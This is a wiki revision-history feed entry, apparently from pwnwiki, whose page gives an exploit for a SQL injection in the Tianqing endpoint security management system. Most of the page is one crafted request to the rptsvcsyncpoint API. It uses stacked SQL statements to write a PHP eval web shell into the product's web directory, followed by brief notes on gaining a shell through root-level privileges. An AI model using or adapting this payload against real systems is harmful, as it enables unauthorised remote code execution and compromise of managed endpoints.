https://pwnwiki.com/index.php?action=history&feed=atom&title=%E7%B5%82%E7%AB%AF%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E7%B3%BB%E7%B5%B1%EF%BC%88%E5%A4%A9%E6%93%8E%EF%BC%89%E5%89%8D%E7%AB%AFSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%2Fzh-hant
終端安全管理系統（天擎）前端SQL注入漏洞/zh-hant - Revision history
2026-04-16T19:52:30Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=%E7%B5%82%E7%AB%AF%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E7%B3%BB%E7%B5%B1%EF%BC%88%E5%A4%A9%E6%93%8E%EF%BC%89%E5%89%8D%E7%AB%AFSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/zh-hant&diff=3525&oldid=prev
Pwnwiki: Created page with "終端安全管理系統（天擎）前端SQL注入漏洞"
2021-05-26T13:35:17Z
<p>Created page with "終端安全管理系統（天擎）前端SQL注入漏洞"</p>
<p><b>New page</b></p><div><languages /><br />
==EXP==<br />
<pre><br />
https://127.0.0.1:8843/api/dp/rptsvcsyncpoint?ccid=1';create table O(TEXT);insert into O(T) values('<>php @eval($_POST[1];?>)');copy O(T) to 'C"\Program Files(x86)\360\skylar6\www\1.php';drop table O;--<br />
</pre><br />
<br />
==漏洞信息==<br />
<br />
1.通過安裝包安裝的程序一般擁有ROOT權限，因此該注入點可嘗試寫入Shell<br />
<br />
2.通過注入點，創建一張表 <code>O</code><br />
<br />
3.爲表<code>O</code>添加一個新字段<code>T</code>並且寫入Shell內容</div>
Pwnwiki